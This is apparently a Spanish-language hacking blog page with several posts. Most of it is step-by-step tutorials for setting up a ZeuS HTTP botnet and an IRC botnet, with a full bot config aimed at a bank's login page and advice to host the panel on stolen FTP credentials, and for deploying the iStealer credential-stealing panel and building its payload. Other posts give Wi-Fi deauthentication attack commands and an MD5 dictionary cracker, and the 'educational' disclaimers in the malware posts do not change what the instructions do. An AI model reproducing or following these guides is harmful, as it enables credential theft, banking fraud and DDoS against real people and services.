Malwares

Taller de Malwares #4 [Botnets]

15:13 ANTRAX 17 Comments


¿Qué es una Botnet?
  La palabra Botnet, proviene de Bot (robot). Están compuestos por un cliente y por “zombies”, Los zombies son los ordenadores infectados por dicha Botnet, y el cliente es el que utilizaremos para darles órdenes por medio de comandos.

Tipos de Clientes
  Hay varias formas de manipular una Botnet, entre los cuales podemos resaltar los siguientes:

-   IRC
-   Web Panel
-   Clientes de escritorio

  En el IRC, lo que hacemos es que todos nuestros zombies conecten a un mismo canal de IRC y esperen órdenes por medio de comandos.

Como podemos ver en esta imagen, todos los nombres de la derecha son ordenadores infectados por esta Botnet.
  De forma muy similar pasa con el Web Panel, los zombies conectan a una misma IP, en donde tendremos un panel en el cual podremos introducir comandos.
Cuando digo Clientes de escritorio, hago referencia a que es similar a un troyano, con su Cliente-Servidor. Los zombies conectan a una DNS y desde nuestro cliente podremos darles órdenes.

¿Cómo Funcionan las Botnets?
  Al igual que los troyanos, las Botnets están compuestas por un cliente-servidor.
  Se propagan rápidamente por internet y tienen distintos tipos de Spreads. Entre ellos podemos destacar el muy conocido spread por MSN que seguramente más de una vez lo hemos visto.

En este caso envía un archivo “photo39.zip” en donde supuestamente envía fotos, pero no es más que un malware

En esta otra imagen podemos ver que nos envía un enlace que supuestamente tiene una canción. Pero no nos lleva a otro lado que no sea una infección segura…
También existe la infección en Facebook que es un medio de comunicación y la red social más utilizada hoy en día.

En los dos casos muestra videos que se ven tentadores, pero es un gusano que se propaga por Facebook. Asique si alguna vez entraron, lo más probable es que se hayan infectado…
Otro tipo de infección es por URL.

 En este caso nos aparece una advertencia sobre la actualización de Flash Player. Pero al dar en ejecutar, no haremos otra que cosa que sea ejecutar el server que nos infectara…
Así como estos que hemos visto, existen más formas de las cuales podremos infectarnos. Y por más que tengamos el Antivirus actualizado, nos infectaremos igual. Más adelante veremos porque cuando veamos los métodos de indetectabilidad.
Las Botnets lo que producen siempre es una infección en cadena. Esto quiere decir que si yo infecto a un contacto mío en el caso del MSN o a un amigo del Facebook, este infectara a los suyos, y a su vez este a los suyos y así sucesivamente hasta formar una gran cadena de infección con miles y miles de PCs zombies esperando mis órdenes para atacar…

 
¿Para qué Sirven las Botnets?
Las Botnets son utilizadas para hacer Spam con la finalidad de obtener información financiera para poder sacarle provecho. Al tener buena propagación, se infectan miles de ordenadores en busca de cuentas bancarias, tarjetas de crédito, y otros logins de interés.
Otro uso que se le suele dar es el de abuso de publicidad con el servicio que nos brinda adsense. De esta forma se puede obtener mayor cantidad de visitas gracias a los zombies que tengamos en nuestra Botnet y de esta forma ganar bastante dinero.
También es muy utilizada para ataques de DDoS (Denegacion de servicio distribuido) que sirve para tirar websites, foros y puede llegar a causar daños en la base de datos o consumir el ancho de banda para que deje de funcionar.
Otros usos que se les puede dar, que aunque no son muy vistos, es bueno mencionarlos:
· Construir servidores para alojar software warez, cracks, seriales, etc
· Construir servidores web para alojar material pornográfico y pedofílico
· Construir servidores web para ataques de phishing
· Redes privadas de intercambio de material ilegal
· Sniffing de tráfico web para robo de datos confidenciales
· Distribución e instalación de nuevo malware
· Manipulación de juegos online

¿Qué diferencia hay entre un ataque DoS y un DDoS?

Ataque DoS
Un servidor web está preparado para soportar una cierta cantidad de peticiones o conexiones simultáneas. Si supera ese límite de conexiones, pueden pasar dos cosas:
1)     La respuesta de las peticiones de los usuarios pueden ser lentas o nulas
2)     El Servidor se desconecta de la red y queda sin conexión.

A eso se le llama ataque DoS (Denial o Service / Denegacion de Servicio) Satura el servidor por medio de muchas peticiones de una misma pc que poco a poco va consumiendo recursos hasta que comience a rechazar las peticiones y comenzara a denegar el servicio (DoS)
Como desventaja tiene que el administrador puede ver de dónde vienen todos esos ataques, banea la IP y el ataque cesa…

Ataque DDoS

Esto es algo similar al ataque DoS, ya que este tipo de ataque también consiste en tirar el servidor. La diferencia está en que este ataque es distribuido. Esto quiere decir que no se ataca desde una sola PC como en el DoS, sino que son muchas PCs, haciendo peticiones al mismo servidor. El administrador de la web no podrá saber de dónde viene el ataque, por lo tanto cuesta más detenerlo. A esto se lo llama Denegación de Servicio Distribuida (DDoS)

Este tipo de ataque (DDoS) Se hace con una red Zombie. En otras palabras, se hace con una Botnet.
En ambos casos lo que se busca es consumir el ancho de banda del servidor para tirar la web.
Obviamente es mucho más potente un ataque con una Botnet ya que son varias PCs las que atacan a un solo sitio.

¿Cómo montar una Botnet?
Si bien mencione antes los 3 tipos de Botnets, ya sea por IRC, HTTP, o un ejecutable programado en algún lenguaje. En los tres casos vemos que los zombies deben apuntar al mismo sitio. En el caso del IRC, apuntarlo a un canal registrado en algún servidor. Si es por HTTP, apuntarlo a un host y si es por cliente de escritorio, apuntarlo a algún subdominio (DNS). En todos los casos corremos riesgos de perder todos los remotos, ya que puede ser denunciada o que nos descubran.
Ahora les enseñare cómo montar una Botnet.

BOTNET POR IRC
Lo que debemos hacer es tener una buena PC con buena conexión para que soporte todos los remotos. Una vez que la tenemos, podemos crear un servidor de IRC y mandar a todos los zombies ahí. De esta manera no se perderán con facilidad todos los remotos que tengamos.
Montaremos un servidor de IRC en nuestra propia PC.
Descargamos el IRCPlus, Lo instalamos y nos vamos a su pantalla principal de configuración:

Colocamos un nombre en el Server y una descripción.
Es importante aclarar que el puerto que pongamos, en mi caso el 2000, debe estar abierto en nuestro router en caso de que tengamos. En caso de tener router y no tenerlo abierto, lo abrimos de la misma forma que cuando usamos un troyano.
El resto de las opciones son a su gusto, como por ejemplo la de los canales:

Importantísimo lo que esta remarcado en rojo, ya que de esta forma podrán entrar todos los zombies a nuestro canal sin ningún tipo de restricción.
También es bueno crear un user admin para controlar el canal y el servidor.
Registramos el Nick:

Y luego Vamos a Operators

Como pueden ver, ahí mi user esta como Operador del IRC.
Ahora vamos a nuestro cliente de irc

Colocamos /server “NO-IP” o IP
En mi caso coloque mi no-ip de test

Ahí nos da una bienvenida.
Identifico mi user de la siguiente manera
/pass “Password”
Ejemplo: /pass 12345
Y por ultimo entramos al canal:

Bueno, ahí entraran nuestros zombies y podremos manipularlos por comandos definidos previamente en la botnet.
Aca les pongo una captura de ejemplo de cómo se ve una botnet por IRC. Cuando entran zombies

Como ven el primero de todo es el Operador del canal, quien manipulara la Botnet, y el resto son los zombies.
De esta forma, no podrán darnos de baja el canal ya que el servidor lo tendremos montado en nuestra propia PC. Lo único malo es que pueden localizar en donde está el servidor. Esto corre bajo sus propios riesgos.

BOTNET POR HTTP
Ahora les enseñare a cómo montar una Botnet por HTTP. En este caso utilizaremos la ZEUS Botnet 2 que es la más reciente.
Les mostrare como montarla con las configuraciones básicas, ya que se pueden agregar opciones más avanzadas, pero para no complicarla tanto, veremos lo básico para que quede funcionando.
En la carpeta de la Botnet podremos ver todos estos directorios

La carpeta llamada “server[php]” es la que debemos subir a algún hosting. Este hosting no debe ser gratuito.
Para todos los que vienen siguiendo y practicando estos talleres, podrán notar que pueden utilizar algún FTP con Cpanel capturada con el Stealer.
Dentro de esta carpeta podremos ver los siguientes ficheros y directorios:

Abrimos el cliente de FTP y los subimos a todos

Una vez hecho esto, lo que deberemos hacer, es crear una base de datos y un usuario que acceda a ella.
Para ello debemos ir al Cpanel ---> MySQL Bases de Datos

Una vez creada, haremos también un usuario

Y finalmente las vinculamos

Le damos todos los permisos a la cuenta

   
Y Listo, ya tenemos hecha nuestra base de datos, que será en donde se guarden todos los logs que capturemos.
Ahora configuraremos el server del Bot. Para ello vamos al directorio Builder y abrimos el archivo llamado config.txt
Les pego el texto plano del *.txt
;Build time:   22:38:59 11.03.2011 GMT
;Version:      2.0.8.9

entry "StaticConfig"
  ;botnet "btn1"
  timer_config 60 1
  timer_logs 1 1
  timer_stats 20 1
  url_config "http://localhost/config.bin"
  remove_certs 1
  disable_tcpserver 0
  encryption_key "secret key"
end

entry "DynamicConfig"
  url_loader "http://localhost/bot.exe"
  url_server "http://localhost/gate.php"
  file_webinjects "webinjects.txt"
  entry "AdvancedConfigs"
    ;"http://advdomain/cfg1.bin"
  end
  entry "WebFilters"
    "!*.microsoft.com/*"
    "!http://*myspace.com*"
    "https://www.gruposantander.es/*"
    "!http://*odnoklassniki.ru/*"
    "!http://vkontakte.ru/*"
    "@*/login.osmp.ru/*"
    "@*/atl.osmp.ru/*"
  end
  entry "WebDataFilters"
    ;"http://mail.rambler.ru/*" "passw;login"
  end
  entry "WebFakes"
    ;"http://www.google.com" "http://www.yahoo.com" "GP" "" ""
  end
end

Y acá una imagen de cómo debería quedar:

Pasare a explicar las modificaciones:
;botnet "btn1"
Modificamos a lo que está entre comillas por localhost, que será en donde estará situada la botnet.
url_config "http://localhost/config.bin"
Modificamos la Url por la nuestra. En este caso debemos especificar en donde se encuentra el config.bin (que aun no hemos creado, pero es el directorio que se estima que estará)
encryption_key "secret key"
Acá debemos poner una llave secreta. Que es un código que nosotros queramos. En mi caso presione varias teclas al azar.
url_loader "http://localhost/bot.exe"
url_server "http://localhost/gate.php"
Por último tenemos estas dos, una es en donde tenemos el bot.exe (que aun no lo hemos creado, pero es en donde estará alojado) Y el otro es el gate.php que ya hemos subido previamente.
Ahora abrimos el zsb para crear el config.bin y el bot.exe que nos faltan.

En Encryption Key, la llave que colocamos en el config.txt
Seguido a esto vamos a Builder.
Damos en Browse… y Buscamos el config.txt
Seguido a esto damos click en “Build the Bot Configuration
Guardamos el config.bin que nos genera y finalmente damos click en “Build the bot Executable
Y guardamos el bot.exe

Ahora si subimos el config.bin y el bot.exe por FTP.

Una vez hecho esto, ya estamos en condiciones de comenzar a infectar.
Ese bot.exe que generamos es el server que debemos propagar.

Entramos vía web a nuestro panel. Recuerden que el panel es ese que se llama cp.php

Procederé a autoinfectarme, para probar si funciona (Ustedes no hagan este paso ya que dañara severamente su ordenador)
Una vez ejecutado el server, este desaparecerá y conectara a nuestro cliente vía web, Se verá algo así:

Si investigan un poco el panel del bot, podrán ver las opciones para ver los logs, para atacar webs, etc…
También tenemos la Botnet con cliente de escritorio que no es necesario que la explique ya que no es muy frecuente verla y se configura de igual forma que un troyano común.
Este material expuesto es con fines educativos. No me hago responsable del mal uso que se le pueda dar.

17 comentarios:

Seguridad Wireless

DOS en una red Wireless [BackTrack]

12:39 ANTRAX 11 Comments

En este mini paper les mostrare como tirar un cliente de una red.
Sirve tanto para redes WEP como para WPA/WPA2
La finalidad de este ataque es la de capturar un Handshake para luego obtener la password de la red inalambrica. No me hago cargo del mal uso que le puedan dar.

Iniciamos la consola y tipeamos

airmon-ng 

Es para saber el nombre de nuestra interface
Seguido a eso, la colocamos en modo monitor

airmon-ng start [Interface]

Como se puede ver, mi interface se llama Wlan0 y ahora la que se habilito en modo monitor, se llama mon0
Procedemos a scannear las redes o aps disponibles

airodump-ng [Interface modo monitor]

Como se puede ver en la imagen, el primer AP tiene varios clientes conectados. Asique con este ataque podria tirar la conexion de un cliente, y cuando este intente conectarse puedo capturar el Handshake.
Lo que debemos hacer ahora es observar en que canal esta. Y en mi caso esta en el 11.
Ahora solo ponemos nuestra interface a la escucha de ese canal con este comando. Para frenar el Scanneo anterior, presionamos CTRL + C y nos dejara escribir la nueva linea:

airmon-ng -c [CANAL] [Interface modo monitor]

El comando seria el siguiente:

aireplay-ng -0 N -a [MAC AP] -c [MAC CLIENTE] [Interface modo monitor]

Paso a explicar brevemente.
aireplay-ng es el comando de aircrack-ng para realizar el ataque
-0 es el numero de ataque, en este caso el ataque 0 es el de desauntetificacion. Que como hemos visto, consiste en desconectar al cliente.
 N la letra n debe ser reemplazada por un numero, yo en este ejemplo puse el numero 7. Que son las veces que enviara los paquetes de datos para desconectarlo. Si en lugar de 7, colocamos un 0, se volveria en un bucle infinito.
-a es la Mac del router (BSSID)
-c es la mac del cliente (STATION)
La interface en modo monitor, es la que colocamos antes en el airodump-ng

Como acabamos de ver, pudimos tirar a un cliente con este ataque. Pero ahora les voy a mostrar otra forma facil, para que no pueda conectarse ningun cliente.
En lugar de atacar al cliente, atacaremos al router para saturarlo y asi que nadie se pueda conectar.
El comando seria el siguiente

aireplay-ng -0 N -a [MAC AP] [Interface modo monitor]

Espero que les haya gustado!

11 comentarios:

Redes

Incrementar potencia WIFI de un portatil sin antena

8:59 ANTRAX 1 Comments

En este caso les traigo un pequeño truco para incrementar la potencia de la señal de interfaces inalambricas.
Lo que tenemos que hacer es ir a Inicio > Panel de control > Sistema

Vamos a la pestaña Hardware como muestra la imagen y a continuacion entramos a el Administrador de Dispositivos.

En la lista de controladores, desplegamos el que se llama Administradores de Red.
Veremos seguramente dos controladores, como muestra la imagen. 
Al que dice Wireless, lo clickeamos con el otro boton del mouse y vamos a Propiedades.

Nos dirigimos a las Opciones Avanzadas y al que dice Power Level lo incrementamos al 100%
Puede haber una alternativa, y en lugar de decir Power Level, dice algo de Ahorro de energia que en su defecto seria algo similar.

Espero que les sirva!

1 comentarios:

Visual Basic

Impresion en VB

13:43 ANTRAX 0 Comments

Les dejo algunos ejemplos de impresiones que se pueden hacer en VB6. Por lo general el codigo se suele poner en un boton.
'Imprimir una linea
Printer.Print "Hola a todos! 1" 
Printer.EndDoc

'Otro ejemplo con mas de una linea
Printer.Print "Hola a todos! 1" 
Printer.Print "Hola a todos! 2" 
Printer.EndDoc
'Imprimir en mas de un papel
Printer.Print "Pagina 1" 
Printer.NewPage 
Printer.Print "Pagina 2" 
Printer.EndDoc 
'impresion de una variable
Dim hab as String
hab="ejemplo"
Printer.Print hab
'impresion de una imagen
Printer.PaintPicture picture1.Picture, 10, 30, 2355, 1035
'Supongamos que el listbox que tiene esta con el nombre por default "List1"
For n = 0 to (List1.ListCount - 1)
Printer.Print List1.List(n)
Next
Printer.EndDoc 
'Algunos efectos
Printer.Font = "Arial" 'fuente
Printer.FontSize = 90 'tamaño
Printer.CurrentY = 800 'vertical
Printer.CurrentX = 300 'horizontal
Printer.FontBold = True 'negrita
Printer.FontItalic = True 'italic
Printer.FontUnderline = True 'subrayado

0 comentarios:

Python

Crackeador MD5 por Diccionario

12:14 ANTRAX 0 Comments



Modo de uso:
Cracker.py [HASH (MD5)] [Diccionario]
Ejemplo:
Cracker.py e10adc3949ba59abbe56e057f20f883e diccionario.txt
Codigo en Python:
import md5, sys, getopt
ver= "1.0"
a=0
def run():
  
 if len(sys.argv) == 1 or sys.argv[1]=="-h" or sys.argv[1]=="--help":
  
   print ""
   print ""
   print "Modo de uso: Cracker.py [HASH (MD5)] [Diccionario]"
   print ""
   print "Ejemplo: Cracker.py e10adc3949ba59abbe56e057f20f883e diccionario.txt"
   print ""
    
 else:
  if sys.argv[1]=="-v" or sys.argv[1]=="--version":
   print "Cracker version: " + ver + "\nAutor: ANTRAX"
  
 
 if len(sys.argv) == 3:
     md5crack(sys.argv[1],sys.argv[2],)
 
  
def md5crack(hash,word):
 try:
  wordlist = open(word,"r")
 except IOError:
  print "Diccionario: " + word + " No Existe"
  sys.exit(0)
 
 global a
  
 for line in wordlist.xreadlines():
  word= line.replace("\n","")
  passw = md5.new(word)
 
  if (hash == passw.hexdigest()):
   print ""
   print "Password Crackeada!"
   print 'MD5: ' + passw.hexdigest() + ' ---> ' + word+''
   print "Visita Underc0de.org"
   a = 1
   sys.exit(0)
  
 if ( a == 0):
  print 'Password no Encontrada en este diccionario'
 wordlist.close()
 
def main():
 run()
 
   
if __name__ == "__main__":
    main()

0 comentarios:

Malwares

Taller de Malwares #3 [Stealers]

16:50 ANTRAX 4 Comments

¿Qué es y para qué sirve un Stealer?

  Un stealer es un malware encargado de capturar y mostrar todos los logins almacenados en una PC.
  La mayoría de los troyanos, tienen la opción de mostrar las contraseñas almacenadas, pero a lo largo de este tutorial, les mostrare las diferencias que hay entre capturarlas con un troyano y un stealer.
  En la siguiente imagen les mostrare una captura de este excelente troyano que es el IndSocket RAT que trae incorporado la opción de mostrar los logins almacenados.

Como se puede ver, aparece el user y pass de un mail.
Entonces… Para que están los stealers, si con un troyano también podemos ver los logins…
La respuesta es simple, un troyano solo muestra las Pass de un solo remoto que nosotros seleccionemos, en cambio el stealer a demás de capturar logins de todo tipo, son mas ordenados. A demás de esto, los Stealers son mucho más completos, ya que capturan distintos tipos de pass de varias aplicaciones. El que les enseñare hoy día, captura una gran cantidad de pass. Los troyanos por lo general capturan pass de MSN, IE, Firefox entre otros. En cambio el que utilizaremos captura cantidad más notable que los troyanos:

Esto se debe a que los stealers solo están diseñados para sacar logins.
En esta entrega, les enseñare a montar un stealer que trabaja con base de datos SQL y que almacena, guarda y muestra de forma ordenada todos los logins capturados.
Antes de comenzar, quiero aclarar que no me hago responsable por el mal uso que se le pueda dar a esto.
Este material es expuesto para aprender el funcionamiento de un stealer. Lo que ustedes hagan con él, ya será bajo su responsabilidad.


PARTE I

Lo que necesitaremos será un hosting con Cpanel y el Stealer. En esta entrega utilizare el iStealer.
Si el hosting es gratuito corremos el riesgo de que lo den de baja y perder todo.
Yo utilizare uno prestado, que será solo para testear el stealer y mostrarles su funcionamiento.
Vamos a nuestro Cpanel y crearemos una base de datos

Bueno, ahí ya quedo nuestra base de datos creada.
Ahora lo que debemos hacer es crear un usuario para añadirlo a la base de datos


 Bien, lo que sigue es vincular a ese usuario con la base de datos.

Ahora le aplicamos los permisos

Y listo!
Debemos recordar los datos de la base de datos, el usuario y la contraseña para poder configurar el Stealer.
Aca vemos como quedo finalizado:

 
Como se puede ver, ahí esta la bd con el usuario vinculado

PARTE II

Lo que sigue es configurar el Stealer. Para ello vamos al directorio PHP Logger

Con algun editor de textos editamos el Index.php

Ahora podremos ver el código

 
Reemplazamos por los datos nuestros
Comenzaremos desde la línea 4: 
$dbHost     = "127.0.0.1";                            // MySQL host
Modificamos y debe quedar asi: 
$dbHost     = "localhost";                            // MySQL host
Sigamos ahora a la siguiente línea, la 5 en donde deberemos colocar el usuario que creamos: 
$dbUser     = "";              // MySQL username
Modificamos y debe quedar asi:
$dbUser     = "h4x0r_stealer";  // MySQL username
Pasamos a la línea 6, que debemos colocar la Contraseña que le asignamos a dicho usuario:  
$dbPass     = "";              // MySQL password
Modificamos y ponemos la pass 
$dbPass     = "ANTRAX-LABS.NET";        // MySQL password
Vamos a la línea 7, en donde colocaremos el nombre de la base de datos que creamos:
$dbDatabase = "";        // MySQL database name
Debe quedar asi: 
$dbDatabase = "h4x0r_testst";               // MySQL database name
Pasamos a la Linea 9, ya que la 8 esta vacia:
$username   = "admin";                             // Login Username
La modificamos, por el usuario que nosotros queramos:
$username   = "ANTRAX";                         // Login Username
Lo mismo hacemos en la línea 10, modificamos por una pass que queramos:
$password   = "root";                  // Login Password
Aca les muestro una Captura de cómo quedo el mio terminado:

Guardamos y listo!

PARTE III

Lo que sigue es subir el index.php y la hoja de estilo por FTP a nuestro hosting.

Una vez que subió todo
Para evitar futuros inconvenientes, le daremos permisos 777 al index.php

Ahora Entramos por la URL vía web y debería verse así:

Ingresamos al panel:

Si dice “No logs found!” quiere decir que hasta acá venimos todo perfecto.
De lo contrario mostrara errores en las tablas de base de datos o algún error de tipeo y deberemos revisar todos los datos que introducimos en el index.php


PARTE IV

Bueno, casi llegando al final, lo que nos queda es crear el Server del Stealer.
Abrimos el Builder del iStealer

Colocamos la URL de donde tenemos el index.php y presionamos en el botón Test URL
Si es correcto, nos devolverá el siguiente mensaje:

Finalmente, creamos el Server dando click en Build.

Guardamos…
Hemos terminado!
Ahora solo queda encriptar nuestro server y pasarlo a algún remoto, o en donde lo deseen ejecutar.
Les enseñare una captura de cómo se ve un panel que ya ha capturado passwords:

Espero que en esta entrega hayan aprendido lo que es un Stealer y su funcionamiento.
Este material no es expuesto para que todos roben pass, sino para que lo tengan en cuenta por si ven alguno de estos Stealers sueltos por ahí, y ser precavido para no ejecutarlo y caer en ellos.
Bueno, Como siempre agradezco a todos los lectores. También les agradezco enormemente a los que visitan mi blog, ya que me motivan a seguir escribiendo para ustedes.

4 comentarios: